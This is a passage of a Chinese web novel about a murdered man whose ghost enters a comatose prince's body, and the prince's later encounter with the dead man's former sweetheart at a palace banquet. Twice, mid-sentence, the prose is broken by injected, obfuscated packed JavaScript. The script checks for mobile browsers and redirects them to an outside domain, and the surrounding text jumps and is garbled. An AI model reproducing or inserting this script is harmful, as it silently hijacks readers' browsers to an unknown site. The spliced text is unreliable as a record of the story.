《白月光干掉前夫上位后》 1. 遇害与新婚 “他是我的朋友，少编瞎话！” 他在愤怒中朝两人挥拳打去。对方不闪不避的样子激他使出了全部力气，岂料竟挥了个空。 他稳稳神，正待再提拳，却赫然发现自己躺在地上——那个伤痕累累，双目圆睁的家伙除了他还会是谁？——若那个是我，这个是谁？他再低头看自己手脚，发现身体成了飘忽的一团，如在梦中一般看不清楚。 我死了？！不久前，他还浸在逃离生天的喜悦中，如今，只余满腔不可置信。 那两人捡起锄头，照手心吐了口唾沫，再不发一言，开始掘坑。 “为何害我？你们受谁主使？快答！”魂魄忘了刚才的挫败，又一次捏紧拳。锤头般的拳落在人身上，就像风滑入草丛一样。 “人鬼殊途，省省罢。” 魂魄回头，见身形一大一小两个鬼，貌极丑，四只手里提一根长索。“你已成了鬼魂，连张影儿都不如，一团气罢了，与他们活人有甚计较？”话从那个大的嘴里出来。 果真死了。谁与我有如此深仇？魂魄胸中涌起怒气：“我受人陷害，非得问个明白。” 二鬼咧着嘴：“冤死者日日都有，阴间却讲公道。不用多言，若你三清四白，下辈子能投个好人家。别耽搁，快走罢。” 她怎么办？ 魂魄大喊：“不行，我要先去京城见一个人。”见二鬼口内鲜红的舌头又要抖起来，他急忙补上，“足下请行个方便。” 索命之鬼从不通融。“禹冲，阳寿二十三年四个月零二日，光棍一条，阳世再无亲人，还需看谁？” “没错，我再无亲人。”禹冲的魂魄悲道，“有位姑娘，原本我定会娶她。她于我比亲人更要紧，我要去看看她。” 小鬼说：“恐怕早就另嫁了，即便还念着你，也是容颜憔悴。无论哪样，你都无能为力，有何益处？” “无论哪样，我只求看她一眼，也就放心了。” 大鬼斥道：“死都死了，还你一眼我一眼，谁敢这样多事？”持索来套禹冲。 禹冲一挣竟挣脱了，怒道：“若不许我去，进了地府，定要搅得你们阴司难以安宁。” 小鬼把大鬼拉到一旁，发愁说：“我第一次办这差事，不知人变了鬼还如此难缠。若他真搅了地府，七爷八爷一怒，会不会拿我们下锅炸一炸？” “反正还能宽出些时候，到京城不过两千八百里，何妨走一遭。”大鬼扭头对禹冲说，“看了，须老实跟我们去，不得再生事。” 二鬼一左一右架了他。禹冲只见眼前道路迷离，只闻耳畔呼呼风响，冷不丁，一堵墙迎面扑来，慌忙闪避，鬼判将他一扯，毫发无损穿了过去，几番后他便习惯了。途中歇过几回脚，总共没耽搁半盏茶工夫，一次碰到人在屋内说话，听了几耳朵，本来不干己事，可“荥阳”二字不免让他一惊；又知是到了黄河下游，一估算，惊诧未已，就见泥黄的浪涛卷来，鞋袜却分毫不湿。田地、山峦飞速向后退去，再一回神，面前现出雄伟壮丽一座大城，满城缀着宝石般的点点灯火。原来已到天子脚下，那金银流淌之地，幻梦沉浮之都，红尘中第一等热闹繁华的所在——金陵。 禹冲熟悉此处，一进城门，甩开二鬼，直奔生前不知去了几多回，九百个日夜日思夜想的地方。 她喜欢亮堂堂，但又节俭，晚间若不看书，应是只点一盏小灯，放着馨香的光，要是和家人在一起，还会有笑语传出来。 那扇窗上黑忽忽的，整个院子都是黑的。她搬家了？ “快去醉月楼，好酒尽够。”巷中几个酒鬼呼朋引伴。 “图大爷怎么大方一回？” “得了个玉堂金马的妹婿，还不得意？多灌他几钟，三日后回门，又是一席。” 禹冲一下子呆住，原来她真的嫁了人。 他想在她一个人时看看她，她却偏偏今日成亲，偏偏今日！ 街坊们满口称羡，想必是嫁去个好人家，禹冲却辨不出心里是慰藉、是悲凉。 太阳不知已沉到哪儿去了，举目四望，一片阴阴惨惨，昏昏冥冥。二鬼立在远处看他，似有取笑之意。 禹冲也不在乎，又寻思：也罢，她好就行，不必再去瞧了。既来一趟，不若顺道看看他。有人诬他害我，说不定还要对他不利，有什么法子提醒他？ 禹冲朝另一条街巷奔去。这里却十分热闹：院墙上贴着大红喜字，门前轿马喧哗，早归的宾客们大声道着吉利话。 原来他娶妻了，这个满脑子要做学问、无心成家、甚至不惜向父母谎称自己喜好龙阳的家伙竟也转了念头。怪哉，今天到底是什么黄道吉日，怎么都忙着办喜事？ 突然，禹冲全身一晃。 他慢慢、慢慢地向着新人的屋子移去。 帐内的对话非常模糊，只能听出丈夫低低哄慰，妻子间或答几个字，语调比柳丝还娇软，比柳絮更无力。 床边搁一只脸盆架，一条帕子半搭在盆沿上，滴滴答答向地上砸着水珠；桌上一对红烛，流着血一般的泪。 “你听，是谁？”新娘子一下子坐起身。 床帐被挑开一指宽，旋即合拢。“什么也没有，大概是烛火跳了一下。”新郎官说。 她歉意道：“我也不知今天是怎么回事。” “没事，你是太累、太紧张。”顿了顿又说，“是我紧张，每一刻我都紧张，就怕出差错。” “这不是好了么。”她轻声说。 “对，我真高兴。”他长叹一口气，“若是他还在，我便真的万事皆足了。” “谁——你说他，你还会想他？” “怎么不会，我不是告诉你让人去找他的坟了，大概最多一个月，该有信了。我想要把坟修一修，将来我们或许一起去祭奠，不然想到他孤零零埋在那儿，我总是难安。” 那做了妻子的久久没有应声。 “要不是他一时冲动犯了过错……唉，可他还是咱们的骨肉朋友。” “不要再提他了！”她用不耐烦的声音喊。 “好，好，不提了。”禹冲听见他那昔日好友无比温柔地问，“刚才疼得那样厉害？” 那新妇也变得温柔了：“没事，当时疼，这会儿好多了。” 禹冲失魂落魄冲出来，他的胸中已没有一颗心在跳，连盛着心的胸膛都没有，可是那儿仍然会痛。 为了热闹，到处都点着灯，在禹冲看，却比黑暗更凄凉。他要找一样东西做证据，还不知是什么，浑浑噩噩的脚步已把他带到书房。他马上想起，自己根本无法翻找。他只能向书案上摊开的纸张望一眼，当即认出那幅图，不禁冷笑连连。 “该走了！”二鬼突然立于面前。 禹冲扭身狂奔。城内道路他烂熟于心，另又加上穿壁钻墙的本事，却无法甩脱一对追命鬼。他没头苍蝇般乱闯，面前忽现极大一片金光，如一堵高高的火墙，只稍稍靠近，便觉灼热不堪。 禹冲五脏俱焚，恨不得一头扎进大海，亦不惧地狱的烈火。——干脆就烧化在这里，他向金光冲去。 原来火墙并不厚，里面是座院落：不知住着——关着谁，只见各处都有兵卫把守、巡逻。 禹冲自是不怕，看鬼判没跟上，向屋檐一坐，试图冷静下来。 小鬼在外头呲牙咧嘴，咝咝道：“哪个神仙布的阵，他怎生穿得过？是不是有道缝？咱们慢点，看能不能挤进去。” 大鬼拽住他：“你不看看是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白影打量他一会儿，说：“我也是被人所害。我兄长为我封住了这里，鬼神皆不得进来。唉，他是好心，却办了坏事。两年多了，我每日试着要回到我的身体，试着要出去，皆不能成。我既不能活又不能死，外面的一概事情全不晓得。只有我的祖母和兄长进来过，我只知道她——和我有约的那位姑娘已经死了。我们说过要在奈何桥下相会，同去投胎，下一世再见——我早已不再想报仇，只求能赶赴约定。今日就是最后一日，所幸布下的界给你冲开，我能走了。” 禹冲听他活活被困在这里，实在比自己更惨。可他很快就能和心爱的姑娘会面，对方不计生死等着他，这样一想，自己却又比他可怜一千倍。 “兄弟，你别发愁，你救了我，我尽力为你想个法子。”白影来回慢慢飘着，手指点在额角，“倒有个办法，不妨一试。” 禹冲焦急：“你是什么人，有什么法子？若能让我报仇雪恨——” 白影摆摆手：“没工夫细讲。你的事我也无需问，只知道你能让我投个好胎便成——你若带一丝邪气，进不来。至于我——等你醒来自会知晓。那时你也得千万小心，这些人虽无歹意，但——唉，你知道仇人是谁，总比我强得多。料你自有胆智，不消我多说了。此事行不行还得试了看，你来。” 白影转身便走，禹冲紧随他进入一间大屋。 “那儿——”白影指指一张金丝楠木大床。两个婢女一头一尾守在床边，坐在绣墩上，脑袋向胸前一点一点，正打瞌睡。床帐半卷起，禹冲凑近去瞧，见一年轻男子合目静卧：身躯消瘦，面颊凹陷，脸色苍白，然而眉飞入鬓，修目微扬，鼻梁英挺，嘴型俊秀，从面相看超凡脱俗，实乃人中龙凤。 “原来你是——”禹冲猛然醒悟。 “去罢。”白影自后将他一推，魂魄从半空跌下，直扑到躺着那人身上。 2. 宫宴与绿衣 编筐编篓，全在收口。 柳乐正给婆母编蒲团，心里默念着这句话。丈夫不在家，她这个新媳妇可不好当，好在她渐渐摸透了婆母的脾气，只要多做事、听话、少回嘴就没错。 蒲团总算编完了，累归累，她也不肯马虎，要把彩线和蒲草扎紧，结还不能打得粗蠢，很费了一番气力。剪掉绳头后，柳乐笑了，甩甩手腕，伸了个懒腰。 “二嫂。”小姑计晴连蹦带跳跑了来，“你听到没有，太皇太后七十四寿辰，官员和家眷能同去，大哥说宫里几年没这样大的宴席了。” 柳乐随口问了句：“不是逢五逢十，还过七十四？” “可能今年高兴，不是说……”计晴支吾，“管它是不是整寿，咱们还敢不去贺？这次爹爹一定带我。二嫂你也去。”她撺掇柳乐，因为奔跑和兴奋，脸上红扑扑的。 “我就不去凑热闹了，太皇太后是想看看姑娘们吧。”柳乐醒过来。 “说什么呢。”计晴扭身跑了。 柳乐不禁想笑。这几天婆母董素娥挂在嘴边的就是这事：晋王病愈，被好些人看见骑着马，仍和原先一个样。 听得多了，柳乐对晋王比对自己的表亲还熟悉：他是先帝最小、最得宠的儿子，因他天资聪颖、相貌英俊，亦因他的生母是先帝最宠爱的贵妃。说起来，这位贵妃又与先帝的皇后、当今太后是同姓姐妹——她们都出于京城最古老的家族，谢家。 柳乐就是对这点感到别扭。怎么亲姐妹嫁给同一个人，哪怕对方是皇帝呢。怎么有那么些人偏想嫁皇帝、王爷？真不如嫁到普通人家开心。 晋王先前与谢家二姑娘、他的表妹定了亲，但晋王生了一场重病，一躺就是两年多，太后做主把亲退了。董素娥直替谢家肉疼，柳乐却认为谢二姑娘没什么好惋惜的。不过她亦被勾起了几分好奇：王爷要重新选王妃了，这回会落到哪一家？ 当日晚间向婆母问安时，寿宴之事果然被再度提起。原来这回五品及以上的官员都可以带宅眷赴宴，柳乐的丈夫计晨是工部员外郎，不多不少正是五品。 柳乐低声道：“我不去了吧，晨大哥又没在家。” “胡说，这还推得？”计家太太董素娥喜气洋洋的脸立即板起来，“你父亲说，皇上特意向他说，搅了晨儿的新婚，心中不过意，要你去，说不定太皇太后还召你近前说话呢，这可是天大的脸面。” “嗯。”柳乐应一声。 “到时你看罢，如你这般年纪的，都是随着父亲去，仰丈夫之名的，只怕就你一个。说起来也是晨儿争气，要不然皇上能在御书房留他谈了一夜话，第二日就提拔他，派他去荥阳？” “娘，自打二哥出门，这话你每天都讲。”计晴说。 “不多讲几回你早忘了本了。”董素娥瞪她一眼，“你当千金大小姐容易做的？都是托赖你父兄。” 董素娥转头又和老大媳妇细数京里哪些姑娘够资格去，柳乐趁人不注意，悄悄挪挪脚。饶是身子骨结实，站这么大一会儿也怪累的。 忽听婆母说：“衣裳是大事，可不能马虎。” 柳乐明白是说赴宴的装扮。在宫里肯定站得更久，更累人，她正不想去，只愁没个借口，便说：“来不及做新衣，我还是不去了，我给晴妹妹做条好的。” “又不是裁缝，自己做的衣服死板板的，穿着不打眼，白浪费了好绸缎。”计晴并不领情，立即说。 董素娥也不高兴：“怎又说不去？我记得一进门就给你添了好几件。” 只有两身，且那时节衣裙都厚重。柳乐说：“我就穿那件蓝缎裙子吧，绣金枝绿叶的。” 董素娥想了想：“算了，你和晴儿上四锦堂，一人买一条。” “至少五十两，下了血本了。”大媳妇高娴惊呼。 董素娥瞪她一眼：“春儿连日辛苦，你去让他早点儿歇下。”又向计晴说，“你也睡觉去。” 计晴这时喜笑颜开，可能后悔刚才的话不中听，走前朝柳乐一笑。 只剩柳乐时，董素娥说：“别怪你嫂子有气，可能我是偏心晨儿和你。当初为他进工部，花了这个数。”她竖起五指。 计晨工部的差事是花钱得来的？柳乐这才头一回听见。 “你不知官场里的规矩，光凭自己哪成？虽说晨儿有本事，要出头，不知熬到何年何月了。他又有那个志向，一心要进工部，才托了人，送了银子。也不亏，这不，就叫皇上看见了。等这趟差办好，得的赏何止几百？”董素娥说。 柳乐点头。她并非那样清高死板，对此类事深恶痛绝，何况这与拿钱买官不同，计晨是有真才实学。刚才一瞬，她心里不舒服，是因为计晨没有亲口告诉她。 她马上想到：成亲第二日他就出了门，有那么多重要的话，哪里来得及说这个？ 不是晨大哥不坦率，也不是他不信我，他要是听见，还要怪我不信他呢。柳乐暗暗笑自己。她又想：不能怪大嫂不满，等晨大哥回来，一定尽快把五百银子还给家里。 . 四锦堂是京里数一数二的绸缎庄，店堂又大又深，临街门面卖绸缎，衣裙都挂在后院，因样子多，衣料贵重，颇得富贵人家光顾。 柳乐和计晴正向后走，见有人出来，往旁边让了让。 一位少女被数名仆妇丫环簇拥着，姿容耀目，仪态雍容，好似嫦娥出蟾宫。看见计晴，少女的剪水双眸转过来，朱唇轻启，露出一点微微的笑。 等她过去，计晴伸手拉柳乐一下，悄悄说：“这是谢家五姑娘。” 一眼之下，柳乐已觉得她容貌极美，又听是谢家姑娘，连忙回头再瞧，见她乌发垂肩，背影清丽婀娜，像株虞美人似的步出门外去了，然而还留下了沁人的香气，满院萦绕不绝。 “都说她比她二姐生得更好。”计晴说。 柳乐叹道：“怪不得都夸她，我还没见过谁长得这样美。” “她耳朵不好看，总要用头发遮住。”计晴咬着柳乐耳朵说。 “耳朵？”柳乐一愕，笑道，“耳朵有什么要紧，不好看，好使就行，当心人家听见。” 没走几步，计晴又碰见一位相熟的姑娘，被拉到一旁说话，柳乐自己先去看衣裳。这里每一件衣裙都如云似霞，轻、薄、软、妙，柳乐几乎件件都喜欢，却迟迟选不出来，因为总找不到最朴素那件——倒不是她生性爱素净，而是担心银子花得太多。 拿五十两银子购衣衫，难怪高娴嘀咕，柳乐自己也觉得实在过费了：先前计晨薪俸不过十八两，涨到三十两还是在升为员外郎之后。 更不必说出嫁前的日子：若嫂子每月手里有这么一笔钱，安排全家的衣食就用不着煞费苦心；母亲可以舒舒服服去别人家听戏，不用发愁回请；父亲能买喜欢的书和字画，不用无奈地对两个孙儿解释鱼和熊掌不可兼得的道理；哥哥不会得了好酒舍不得喝、一门心思要拿去巴结人；姐妹两个能同时裁新衣，且不必拿尺子颠过来倒过去地比划；侄儿们的叫喊都能更欢快些——五十两银子，至少够他们全家过一整个月，宽宽绰绰的，在这儿最多只能买两条裙子。 “没一件和朴素沾边儿。”柳乐自语。 “这个会不会太艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092353|163669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？”计晴也来了，捧着一条桃红宽襕裙。 柳乐一瞧：“我看很好。” 这时，她自己也发现了一条绿纱裙子，怕它跑了似的，先屏住呼吸，不敢惊动，然后才伸手，小心地抓在手里。 柳乐很喜欢绿色。这条裙子的颜色是一种她还没在布料上见过的、清澈明亮、像翡翠那么美的绿，上面又用嫩柳色的丝线绣出一些花纹——除了深浅不同的绿色，整条裙子没用其它任何色彩装饰，却显得华美，说不出哪儿很别致，很不一般。 穿上就知道了，她心想。 她和计晴进了专供试衣的房间。屋子布置得整齐，像小姐的绣房，自然少不了一面大铜镜。 柳乐几乎用不着丫环帮忙，手一展，裙子仿佛自己飘到了她身上。 她向计晴转过身，还没开口，计晴脸红红地说：“你可真美！我要是个男人，肯定要娶你。” “那我就嫁你。”柳乐玩笑道，一面看着镜中的自己。裙子不宽不窄正贴住腰身，柔软轻盈，像生得茂盛的一丛枝叶，自然而然地倾泻而下。不禁令人起疑：这衣裳本来便是二月春风绕着她裁出来的。 “那二哥可要伤心死了。” 柳乐脸也有点红，她假装没留意，对着镜子轻轻转了半圈。裙角如雾一样散开，扬起来，不等她停稳，又已经落回她的脚面。 天底下没有一个姑娘穿上一件衣裳，会瞧不出它衬不衬自己，也没有一个姑娘穿上最衬自己的衣裳，心内的得意会不像此刻的柳乐——她的脸容是严肃的，乍一看不带半点笑意，可是确实有一点骄傲的笑影，像火星子在她的双目中闪闪发光。 计晴的目光呆呆随着柳乐的动作：“她们奇怪二哥怎么突然娶了你，——那是她们没瞧过你这个样子。等你把这裙子一穿出去，肯定惊得谁也说不出话。” “瞎说，”柳乐笑道，“等大家都穿上新裙子，谁还能看见我？” “才不是，我看别人穿得再好也赶不上二嫂你好看，谁都没有你这样的身段。”计晴羡慕道。“二哥回来，你一定要穿这件，让他瞧瞧。” 这下柳乐不能再装作没听见，她的脸真的红了：“那我就买这件？快给你也挑件好的。” “就这个，这个只能你穿，你皮肤白。先别急着脱，等我换上一起看看。你要不是我嫂子，我才不和你一道站着，我都要嫉妒你了。”计晴像小孩子一样嘟噜起嘴巴，随即又笑，“我真高兴你是我嫂子，除了你，谁给我做二嫂，我都不愿意。” 最后，计晴选了一条樱桃红间银条纱裙子，预备配着她的水蓝衫儿穿。得了新衣总是欢喜，回到家，计晴又来找柳乐。 “二嫂，你知道今天谭姑娘告诉我什么：她的祖父是晋王爷的老师，她说晋王爷病虽好了，可是忘了事，连太皇太后、太后、皇上都认不得了。” “他变痴傻了？”柳乐有点吃惊。 计晴连连摇头：“那倒没有，说他谈吐还和过去差不离，只是不记事。还说他生病是为一位姑娘伤心的缘故。你说这次宫宴……” 由不得柳乐感到离奇：“莫非请这么些人，是想要晋王爷看见那位姑娘，记起往事？” “不是不是，据说她身份很低，大概是谁家里的婢女之类，根本够不上赴宴，而且她可能已经死了。” 可怜的姑娘。柳乐暗自叹息。而晋王爷回避伤心的办法竟是把一切都忘了。不，我不能忘，哪怕自己痛苦，也好过忘记爹娘…… 她听见计晴用细不可闻的声音说：“在宫宴上，他和所有人才是重新结识，你说晋王爷会碰见哪一个？” 3. 醉酒和弓箭 上寿之日，紫金山行宫。 文武百官依次入殿拜寿，柳乐跟在众人后面依样行礼，不敢抬头四望，只听见了太皇太后和蔼而不失威严的话语。 过后，入席落座。殿前立了歌舞台，百官坐于台子南面，家眷们坐于两侧廊下。计家的一桌靠后，更瞧不见大殿内几人的模样。在殿外候过多时，柳乐早就饿了，发现宴上的饭菜倒合口，遂慢慢品尝。 殿堂之下舞翻彩袖，酒泛金波，鲜花插艳，异果堆香，珍馐玉液一共献了九轮，其间除了歌乐和礼官看盏的唱令声，再不闻别的声响。柳乐向两面看看，不禁暗暗好笑。她想计晴那样日盼夜盼，光为绣鞋上到底要不要嵌珠子就头疼了好几晚，其实也只能端端正正坐着。那晋王不知身在何处，不知是不是瞧过了赴宴的诸位小姐。 若是不瞧，似乎对不住姑娘们一片景慕，可若是瞧了，心里免不了品头论足一番，却又更不好。 这样一想，柳乐觉得先不论晋王人物，仅凭他高高在上一项，就令人生厌。 但她随即想起曾见过晋王一回，姑娘们因他脸红心跳，实在情有可原。 那日她和禹冲踏青游玩——禹冲给姑父上坟，她的哥哥陪嫂子祭扫，两家约着雇辆大车一起去。郊外踏青的人多，有一程大家分开，她和禹冲单独在山明水秀之中漫步，忽闻路人叫喊：“快看，打那边过来的不是六皇子么？” “已经是晋王爷了。” “怎么还留在京里？” “太皇太后舍不得他去。” 听着议论，她好奇地扭头：一位翩翩公子头戴玉冠，身着白色箭袖，跨在一匹纯白骏马上，从远处而来。他并不像寻常王孙那般纵马飞奔，而是放辔缓行，姿态十分潇洒，胸前的银线绣蟒在日头下闪着亮光。 近了瞧，六皇子面如朗月，目若灿星，英姿勃勃，顾盼生辉。一路上的人都看得呆了，也包括她自己。 禹冲拽她一下：“看他做什么，别看！” 她故意赌气，直到晋王爷走得不见了，才转头，“怎么不能看，我喜欢看。” 禹冲绷着脸，“你喜欢他？” “喜欢。” “他哪里好？” “好看。”瞧见禹冲眼里黑沉沉的，她偷偷忍住笑，又说，“看到好看的谁不喜欢？就像看星星月亮一样。” 禹冲听了更不高兴：“你把他比作星星月亮？” 她好气又好笑：“他是皇子、王爷，我是民家女儿，我和他之间相隔着的，可比到星星月亮还远多着呢。” “那些算什么阻隔？”禹冲的话音是冷冰冰的不屑，眼睛可是认真看着她，“你就说，假若他喜欢你呢，——你会去喜欢他？” 她更要发笑：“你瞎想什么！他干嘛喜欢我？——我长了十八年，头一回遇见个比你好看的人，还不许我多看几眼吗？” 禹冲神色稍稍缓和下来，“可是你刚才看得那么专心，好像眼里只有他一个，好像把他看到心里去了似的。” “我看谁都是那样。”她不服地说，“改天碰到一个美貌姑娘，只要她不生气，随你把她看到眼睛里，你瞧我会不会这样小气，这也不许那也不许。” “一点儿都不公道。”禹冲小声说。 “哪里不公道？” “天底下根本就没有比你好看的姑娘。” 听到这话，她心里甜滋滋、蜜润润的，说：“我也觉得他没你好看，不过是瞧他衣裳好。等你哪天也骑一匹骏马，一定比他还得意。” 她还想说：“其实他现在也不如你得意，我瞧他好像有心事似的。”的确，不知为何，当时她觉得晋王隐含忧愁——并非从面上显出来，他的神情是很闲适的，再说他贵为王爷，风华正茂，能有什么忧愁，所以她以为是自己的错觉，便把这话丢开不提。更何况，那时他们多么欢喜，哪有闲情去猜旁人的心事。 那时多么欢喜，哪知几个月后，禹冲他…… 心中正自乱想，柳乐感到董素娥向她一瞄，忙收敛思绪。这当儿，间或有一名宫人手捧金盘玉盏，同一名太监自殿内出来，行至某一桌旁，高唱“太皇太后赐酒某某人”，已有不少人领了赐。柳乐留心听那些官员名姓职位，不一时，却见宫人来到自己面前，太监唱道：“太皇太后赐酒工部员外郎计正辰夫人。”柳乐忙站起身，垂首接了，对着大殿行礼遥拜，将酒杯捧至嘴边。 她不惯饮酒，先前几轮酒，不过在唇上沾一沾便悄悄倒掉，这时许多人望着，又有宫人等着收走酒杯，不得已，只好一气喝完。不想那酒甚烈，像颗火苗从喉咙簇簇燃下去，又由下至上把整个身体都烧起来，她顿觉头晕目眩。宫人刚转身，柳乐赶忙坐下灌一口冷茶，握住桌沿，免得失态。好在这时太皇太后驾兴回宫，百官们起身恭送后，纷纷离座，找相熟的人谈笑。姑娘们不喝酒，都向外面去逛了。 柳乐和计晴也出来透气。四面青山翠谷，看哪里都好，两人第一次来，虽不熟悉，但计晴左顾右盼一阵，立即拿定主意：“你看她们都往山上走了。” 于是她们跟着三三两两花枝招展的身影，迤逦往高处行来。 这行宫建在紫金山山麓上，正殿之后是皇家林苑，依山而起。抬头望，座座宫阙插于浓荫之中，只露一角朱檐黛瓦，在艳阳下熠熠闪耀。时不时，一只孔雀或锦鸡从树冠上斜飞而下，长长的尾巴如罗缎彩幡拖在身后。 一队宫女手捧茶壶，朝大殿方向走去。经过二人时，行在最后的宫女指着小山头上一座亭子说：“那边备了茶，两位贵人若想歇歇脚、醒醒酒，只管去坐。” 两人连忙谢了。柳乐行了这几步，酒却没醒，愈发觉得心里突突的，听见话就要过去。计晴却不愿意：“还要走好长一段才上去，那里又看不见什么，前头未必没有歇脚的地方。” 柳乐只好说：“刚才喝那杯，头晕得很。你先往前走，我略坐一坐。” 计晴顿足叹息：“二嫂你酒量怎么这样小。那我先追她们去了。” “快去吧。”柳乐忙说，“等下我去找你们，或者就在亭子等你们回来。” “要是找不见，你回去娘那边，让她别急。”计晴伸直脖子一望，快步去了。 柳乐走上亭子，果有两名宫女守着一只红铜风炉，水刚沸，发出微微声响。她倚柱坐下，待茶汤煮好，慢慢地喝了，再向周围看，满山的树如一片绿海，几道薄而亮的云，像刚挂上的小帆，悠悠地从山峰后驶出来。 终究谁人能如云朵一样自在，柳乐想，瞧得入了神。小宫女抬头对她说：“上面有湖，游玩的人都去那儿。你走这条路，很近，穿过那片林子，出去就到。” 柳乐愿意留在这儿赏风景，只是她们不停歇地煮茶，恐怕随时还有人来，和陌生人大眼瞪小眼就无趣了。她道了谢，顺着指示的小路行去。 山林幽静，树枝葱绿，柳乐愉快地爬坡，鼻端萦着草木的芳香。冷不防唰一下，一道长影掀着风掠过，她一踉跄，定睛再看，原来是条孔雀落在面前，冲她展开尾巴。 柳乐大喜，和它跑着玩了一会儿，没留意树木愈见稀疏，前头愈见光亮，不知不觉已到了林边。 孔雀忽向前飞，柳乐也跟着一气冲出树林，却猛地煞住脚。两丈开外站着一个男人，手举弓箭，做出瞄准的姿 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柳乐看他一本正经摆出演习箭术的架势，却又胡乱瞄准，固然有点好笑，但她私自闯入人家的地界，何况还是行宫中，也确实僭越。“我从那边回去。”她略带歉意说。 “去吧。”晋王打声呼哨，那只步步跟在他身旁的孔雀竟听话地飞去了。 “不是说你，那里你也走不得。”他叫住柳乐。 “请教我可以走哪边？” 晋王好像没听见，望着山峰出神了片刻，居然扭头正色向柳乐谈起话来：“射鹿要一箭命中它的脖子，这儿。不然看鹿儿挣扎，实在太过残忍。” 他一边说一边抬手向柳乐的脖颈处比划，好像她真的是一头鹿。 柳乐微变了脸色，晋王还在说：“我是为秋猎准备。我还是想猎虎豹，不过若真猎到鹿，也可算作是额外的彩头。——这样还是捉活的好，射它的腿，力道不能太重。”他低头向柳乐的脚瞄了瞄，“——就可以在花园里养着玩了。” “我不懂。”柳乐生硬地回答。 晋王笑笑，目光这时移到她脸上，好像刚刚才看见她这个人。“你似乎有点面熟，你叫什么名字？”看她不答话，又问，“你想不想知道我的名字？” 柳乐被问得愣了。她没想到堂堂一位王爷，看上去也是神仙一流的人品，一开口不是疯疯傻傻，就是像街上那些游手好闲的无赖浪荡汉，忍着鄙夷道：“民妇柳氏，未曾有幸见过殿下，不敢妄听殿下尊讳。” “原来你认得我，要么是认得我的衣裳。”晋王笑着掸了掸衣襟，“柳什么？我问的是你的名字。” “民妇名姓微不足道。” “好吧，那便是柳氏。柳，柳……”他嘴里反复念几声，突然发问，“‘纵使长条似旧垂，亦应攀折他人手①’的那个柳？” 柳乐心里怒极：“民妇野草一般，无谓攀折不攀折，亦不配殿下拿来比典故。” 在她说话时，晋王一直仔细地盯着她看，这时又笑一笑，往她腰身上扫了一眼，赞许的目光随即回到她脸上，“我看你很配得上这个柳字。——你和谁一起来的？” 柳乐被他的眼睛盯得难受，微微低头答：“民妇是工部员外郎计晨的宅眷。” 她自小就听人唤他计晨，习惯了，忘了该称他的表字，不过官员里姓计的也不多。“计晨，计晨……”对方又在嘴里念叨这个名字，想了起来，说，“原来是上回那个二甲榜首，年少有为、才兼文武的计公子。——原来你是他的妻子，倒真是一双才子佳人。” 4. 不怨和怨 “请殿下容民妇告退。”柳乐抬起头，后退一步，用轻柔而清晰的声音说。 “着急什么，你们这就回去了？”晋王反而向她又跨一步，奇怪道。“噢，我想起来了，——计员外郎不在这儿。我说瞧你满脸不高兴。唉，刚刚成婚一日，就被迫抛下新婚妻子去督建什么水坝。为一堵石头墙把你们夫妻拆开，真是一点儿不体谅人情。这都是皇兄之过，我代他赔个罪罢。”说着，晋王随随便便作了个揖。 柳乐闪身避开。“修建水坝是有利民生、造福黎庶的大事，岂能因区区家事而拖延。家夫幸得此重用，上可报君父眷爱之恩，下可酬己身为民之志，民妇亦与有荣焉，绝不存埋怨。” “好一篇话呀。”晋王笑道，“这大概是你早就准备好了，原本要向太皇太后、或是皇太后、或是皇后讲的吧。对我，你大可以说实话。——当真不怨？” “不怨！”柳乐掷地有声地说。别人是斩钉截铁，她是把钉子咬碎了唾在他面前。 “也不想念他，盼他早日回来？” 与你何干？柳乐在心中怒斥。“民妇惟愿家夫不负众望，办好公事，而后平安还家。”她说。 晋王说不上是钦佩还是怀疑地瞅着她，“你这样明大义，更让计员外郎觉得对你有亏欠吧？” “民妇不懂大义，只明白简单的道理：事有轻重缓急。计员外郎以国计民生为重为急，民妇深以为然。何来亏欠一说？” “要排出个轻重缓急可不简单。”晋王摇着头说，“照我看，没有任何事能让人抛下新婚的喜乐。” “计员外郎与殿下见解不同。”柳乐淡淡道。 “像计员外郎这样兢兢业业的官员的确不多见。”晋王思索着说，“不过，就算要如此分轻重缓急，其实他本来可以带着你的。只要向皇上提一句，未必不允，这有什么？如此他也不用急着回来，安心在那边待上三年五载，看水坝建好，岂不两全其美？或者一时措手不及，等一两个月再要你过去，他没做这个打算？怎么都好过把你一人丢在他家里侍奉他的父母，你说呢？”他飞快地瞥一眼柳乐，“计员外郎当然不会在外头乱来，他肯定也想带你。——会不会是他怕你在身边对他是种缠扰，怕你拖累了他，害他干不好公务，让人说他难堪大任？” “家夫不会想那么多，他只是……”柳乐住了口，赫然发觉自己竟在一个陌生人面前为计晨辩解。 可不就是陌生人——他没见过她，与计晨也不会有交情，最多就是彼此认得出而已，不然，即便计晨自己不说，董素娥绝不可能一字不提。——跟他有什么好辩，何况他明显不屑相信。 她福了福身，“多谢殿□□恤。待家夫回来，民妇一定转告殿下关怀之意。” 晋王阴沉下脸：“你不妨转告他，我认为他太阿谀，你太曲从。” 柳乐的一阵冲动是立即掉头走开，哪怕迷路也好过忍受他的放肆言语。 晋王立即瞧出她的意思，“先别忙，走丢了真不是好玩的，你可能会被当作刺客。——能走到这里，算你命大。” 柳乐知他是故意吓唬人，但也包含一两分实情。万一误入禁地，真惊了谁的驾，虽说未必拿她怎样，可也就算尴尬了。而她也绝不愿向这个人开口问路。 她不禁露出一点犹豫的神色，晋王趁势劝道：“我叫人为我取东西，差不多该回来了，你稍等一等，到了后要他送你出去。” 柳乐便站着不动，但将身子转向一旁，不肯再与晋王多话。 晋王却踅到她面前，“你可以和我多说一会儿，放心，没有人会来这儿，今日的一切绝不会传出去，你我都不吭声，就再无人知晓。” 